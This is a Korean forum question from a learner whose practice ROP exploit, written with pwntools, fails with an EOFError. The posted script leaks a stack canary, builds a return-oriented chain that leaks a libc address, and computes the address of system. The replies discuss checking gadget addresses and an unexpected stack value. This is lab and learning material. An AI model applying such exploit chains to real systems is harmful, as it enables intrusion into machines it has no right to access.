실습 코드가 동작하지 않습니다.
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.interactive()

실습 중간에 system함수의 오프셋을 계산하는 부분까지의 코드를 작성하던 중 막혀서 실행 결과만이라도 보고자 해답으로 주어진 코드를 그대로 실행해봤습니다.
read = u64(p.recvn(6)+b"\x00"*2)
이 부분에서 오류문구가 뜨면서 EOFError로 종료됩니다.
이 경우에는 어느 부분을 확인해보고 고쳐야할지 알고 싶습니다.

#시스템_해킹 #공격기법 #rop
작성자 정보
답변 2
avatar
bincat
Closed Beta Tester
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1

해당 주소에 실제로 저 인스트럭션이 들어있는지 확인해보셔야할 것 같습니다.
사용하는 우분투 버전에 따라서 컴파일이 다르게 될 수도 있습니다

2022.04.05. 18:33
ollk
대표 업적 없음

아...계속 죄송합니다. 디버깅하던 중 이상한? 점이 있어서 질문 하나만 더 하겠습니다.
사진이 필요할 듯 하여 여기에 작성합니다.
ollk@DESKTOP-NQP2DLJ_ ~ 2022-04-06 오후 2_44_33.png
사진은 스택의 상태인데 위에서부터 순서대로 가젯, read의 got주소, puts의 plt인데 바로 다음에 들어가있는 0x100008000 이것이 왜 들어있는지를 모르겠습니다. gdb로 계속 실행하다보면 나중에 rip가 저 주소를 가리키면서 프로그램이 터지는거 보면 의미가 없는 값 같은데 이것이 본 질문의 문제와 관련이 있을지 궁금합니다.

2022.04.06. 14:58
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기